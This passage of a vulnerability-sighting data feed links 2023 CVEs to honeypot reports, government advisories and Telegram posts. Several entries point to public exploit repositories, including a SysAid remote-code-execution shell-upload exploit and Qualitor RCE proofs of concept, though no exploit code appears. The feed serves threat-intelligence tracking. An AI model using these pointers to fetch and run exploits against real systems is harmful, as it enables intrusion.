"2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-18)", "content": "", "creation_timestamp": "2026-01-18T00:00:00.000000Z"}, {"uuid": "dbdb9211-1ec2-4e33-8e67-6f1c7f2da7b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47641", "type": "seen", "source": "https://gist.github.com/konard/0d69c914be52c3cee3437d4858b1c259", "content": "", "creation_timestamp": "2026-01-19T23:20:05.000000Z"}, {"uuid": "029c19e5-7420-47ee-b727-15bc4536c6cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47627", "type": "seen", "source": "https://gist.github.com/konard/0d69c914be52c3cee3437d4858b1c259", "content": "", "creation_timestamp": "2026-01-19T23:20:05.000000Z"}, {"uuid": "a2906182-e8cd-434b-ad6d-1bf3e86bc024", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-20)", "content": "", "creation_timestamp": "2026-01-20T00:00:00.000000Z"}, {"uuid": "b4a4a6ed-8f80-4ceb-895b-77d41fa1a776", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47210", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "19899a20-7777-4904-9af0-282c9a726718", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47565", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b0b58b85-825f-4237-bab0-4f4f9bce7786", "content": "", "creation_timestamp": "2026-02-02T12:26:44.283862Z"}, {"uuid": "94e14360-24b9-47a5-a599-f75b8df72881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d39c441e-d3f7-4afe-9612-a2ec5cef042c", "content": "", "creation_timestamp": "2026-02-02T12:26:46.775422Z"}, {"uuid": "1078d9fa-6f0b-477a-a4f0-4f26cd4ecd85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4762", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e0362177-1c36-4d39-8178-ed0ada24c46a", "content": "", "creation_timestamp": "2026-02-02T12:26:41.725870Z"}, {"uuid": "b50648bd-1132-42c5-ad2f-0d6de6e8b037", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-11)", "content": "", "creation_timestamp": "2026-02-11T00:00:00.000000Z"}, {"uuid": "e00e765b-a60c-41bd-aea6-aa3b10d9fa05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-12)", "content": "", "creation_timestamp": "2026-03-12T00:00:00.000000Z"}, {"uuid": "3626b041-2876-434c-8bb1-ff6895ffdd1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47537", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_8/2024", "content": "", "creation_timestamp": "2024-02-09T10:14:28.000000Z"}, {"uuid": "5ceec7c9-24a7-43d4-bc49-81133e483380", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47534", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1246", "content": "", "creation_timestamp": "2024-03-13T04:00:00.000000Z"}, {"uuid": "c3b71a6b-4d7b-4a2b-8405-ddbe5500775b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47253", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mhyiuuzklw22", "content": "", "creation_timestamp": "2026-03-26T21:03:02.819848Z"}, {"uuid": "7315c0d6-ca59-4f24-a70b-1d4d3bffb356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47565", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b0b58b85-825f-4237-bab0-4f4f9bce7786", "content": "", "creation_timestamp": "2026-02-02T12:26:44.283862Z"}, {"uuid": "13ed402d-fcf9-4bb3-a643-cdbf6f1eae54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d39c441e-d3f7-4afe-9612-a2ec5cef042c", "content": "", "creation_timestamp": "2026-02-02T12:26:46.775422Z"}, {"uuid": "282fd2ca-6717-4b98-9c6b-54474ba16dd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4762", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e0362177-1c36-4d39-8178-ed0ada24c46a", "content": "", "creation_timestamp": "2026-02-02T12:26:41.725870Z"}, {"uuid": "cf21b301-a6ef-4bc6-9e35-088924e806cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d29dbde5-754c-4ca2-8a8b-47f3b9e077f7", "content": "", "creation_timestamp": "2024-09-24T12:13:05.859516Z"}, {"uuid": "f4a8e2e2-f062-4442-8cee-4d3c8ef23ecf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47248", "type": "published-proof-of-concept", "source": "Telegram/oG1Du1yVW5DwftsfJVNiNqdhNi2Tf44_2y7wvgsgG58u-YE", "content": "", "creation_timestamp": "2025-12-27T21:00:05.000000Z"}, {"uuid": "1b478c77-eac6-4161-a75f-432cbd0b69f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/ap_security/226", "content": "\u2604\ufe0fCVE-2023-47246: PoC\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f SysAid \n\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \n\u043a\u043e\u0434\u0430\ud83d\ude04\n\n\ud83d\udce3\u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442:\nhttps://github.com/W01fh4cker/CVE-2023-47246-EXP/tree/main\n\n#cve #poc #exploit", "creation_timestamp": "2023-11-18T15:05:23.000000Z"}, {"uuid": "5f3d6894-9a2e-4ca4-8eff-39d6e26f4a20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/cKure/11988", "content": "\u25a0\u25a0\u25a0\u25a1\u25a1 Exploit for cve-2023-47246 SysAid RCE (shell upload).\n\nhttps://github.com/W01fh4cker/CVE-2023-47246-EXP", "creation_timestamp": "2023-11-18T01:47:01.000000Z"}, {"uuid": "02291365-073e-4246-819c-1961ad4d7aba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47634", "type": "seen", "source": "Telegram/6isYHg3MNxTnC3IUwwb4ajMv3XjbiqRKA1su90NFdB0i45BV", "content": "", "creation_timestamp": "2025-02-14T21:09:17.000000Z"}, {"uuid": "cb437d26-1aeb-4367-aac7-40798c39bf2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47160", "type": "seen", "source": "https://t.me/cvedetector/18460", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-47160 - IBM Cognos Controller XXE Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-47160 \nPublished : Feb. 19, 2025, 5:15 p.m. | 1\u00a0hour, 23\u00a0minutes ago \nDescription : IBM Cognos Controller 11.0.0 through 11.0.1 FP3 and IBM Controller 11.1.0   \n  \n  \n  \n  \n  \nis vulnerable to an XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources. \nSeverity: 8.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-19T20:25:04.000000Z"}, {"uuid": "8308b773-65a6-4eb2-b3cc-d96aa2bc9294", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15423", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47218\n\ud83d\udd25 CVSS Score: 5.8 (cvssV3_1, Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L)\n\ud83d\udd39 Description: An OS command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to execute commands via a network.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.1.5.2645 build 20240116 and later\nQuTS hero h5.1.5.2647 build 20240118 and later\nQuTScloud c5.1.5.2651 and later\n\ud83d\udccf Published: 2024-02-13T02:44:14.677Z\n\ud83d\udccf Modified: 2025-05-07T21:13:18.700Z\n\ud83d\udd17 References:\n1. https://www.qnap.com/en/security-advisory/qsa-23-57\n2. https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed/", "creation_timestamp": "2025-05-07T21:22:35.000000Z"}, {"uuid": "57b0c5b6-882b-45b1-a4ec-0dc6303a1e9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47119", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5776", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aA POC for CVE-2023-47119\nURL\uff1ahttps://github.com/BaadMaro/CVE-2023-47119\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-11-12T23:37:20.000000Z"}, {"uuid": "d6f610c8-4900-4e30-ab0d-490cc92609ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8556", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aCVE-2023-47253 | Qualitor &lt;= 8.20 RCE\nURL\uff1ahttps://github.com/OpenXP-Research/CVE-2023-47253\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2024-09-19T14:12:10.000000Z"}, {"uuid": "c4659141-da56-47dc-91a8-f57c445458d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8555", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aCVE-2023-47253 | Qualitor &lt;= 8.20 RCE\nURL\uff1ahttps://github.com/vnxdtzip/CVE-2023-47253\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2024-09-19T14:01:44.000000Z"}, {"uuid": "99e9bb2e-89ad-4e25-824d-ab9566447086", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5905", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aexploit for cve-2023-47246 SysAid RCE (shell upload)\nURL\uff1ahttps://github.com/rainbowhatrkn/CVE-2023-47246\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2023-11-22T08:20:22.000000Z"}, {"uuid": "029b815e-0503-4e1f-bad8-03f6d7b6d05a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6101", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aexploit for cve-2023-47246 SysAid RCE (shell upload)\nURL\uff1ahttps://github.com/W01fh4cker/CVE-2023-47246-EXP\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2023-12-07T02:58:31.000000Z"}, {"uuid": "c5cba2b7-e64a-4723-b237-0309173c057c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47882", "type": "seen", "source": "https://t.me/GithubRedTeam/6845", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2023-47882 | CVE-2024-23727\nURL\uff1ahttps://github.com/actuator/yi\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-03-24T16:27:48.000000Z"}, {"uuid": "b3323303-f4f4-4573-89bb-f269f3f1ec65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4762", "type": "exploited", "source": "https://t.me/itsec_news/3741", "content": "\u200b\u26a1\ufe0f\u042d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Google Chrome \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0448\u0435\u0441\u0442\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 2023 \u0433\u043e\u0434\u0443\n\n\ud83d\udcac Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f Chrome, \u0447\u0442\u043e\u0431\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u0435\u043c\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u0430\u044f \u043a\u0430\u043a CVE-2023-6345, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0439 \u0431\u0430\u0433 \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432 Skia, \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 2D \u0433\u0440\u0430\u0444\u0438\u043a\u0438. \u0415\u0451 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0411\u0435\u043d\u0443\u0430 \u0421\u0435\u0432\u0435\u043d\u0441 \u0438 \u041a\u043b\u0435\u043c\u0430\u043d \u041b\u0435\u0441\u0438\u043d\u044c \u0438\u0437 \u0413\u0440\u0443\u043f\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u0433\u0440\u043e\u0437 Google (TAG) 24 \u043d\u043e\u044f\u0431\u0440\u044f 2023 \u0433\u043e\u0434\u0430.\n\nGoogle \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b, \u0447\u0442\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f CVE-2023-6345, \u043d\u043e \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u0438\u043b\u0438 \u0443\u0433\u0440\u043e\u0437\u0430\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2023 \u0433\u043e\u0434\u0430 Google \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u043b \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432 Skia (CVE-2023-2136), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c. \u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c, \u0447\u0442\u043e CVE-2023-6345 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u044d\u0442\u043e\u0442 \u043f\u0430\u0442\u0447.\n\nCVE-2023-2136 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443, \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0435\u043c\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0430, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043e\u0434\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0435\u043c\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Chrome, \u0432\u043a\u043b\u044e\u0447\u0430\u044f:\n\nCVE-2023-2033 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8) - \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 V8,\nCVE-2023-2136 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.6) - \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432 Skia,\nCVE-2023-3079 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8) - \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 V8,\nCVE-2023-4762 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8) - \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 V8,\nCVE-2023-4863 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 WebP,\nCVE-2023-5217 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0435 vp8 \u0432 libvpx.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 Chrome 119.0.6045.199/.200 \u0434\u043b\u044f Windows \u0438 119.0.6045.199 \u0434\u043b\u044f macOS \u0438 Linux, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0443\u0433\u0440\u043e\u0437\u044b. \u0422\u0430\u043a\u0436\u0435 \u0441\u043e\u0432\u0435\u0442\u0443\u044e\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432 \u043d\u0430 \u0431\u0430\u0437\u0435 Chromium, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a Microsoft Edge, Brave, Opera \u0438 Vivaldi, \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0430\u043d\u0443\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-11-30T11:12:53.000000Z"}, {"uuid": "6e1cde17-3d84-41c3-bb34-4b7c216ca357", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47207", "type": "seen", "source": "https://t.me/itsec_news/3820", "content": "\u200b\u26a1\ufe0f\u041e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Delta Electronics \u043a\u0430\u043a \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u0430\u0442\u0430-\u0446\u0435\u043d\u0442\u0440\u043e\u043c\n\n\ud83d\udcac \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 \u0434\u043b\u044f \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT) \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Delta Electronics \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043e\u0442 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 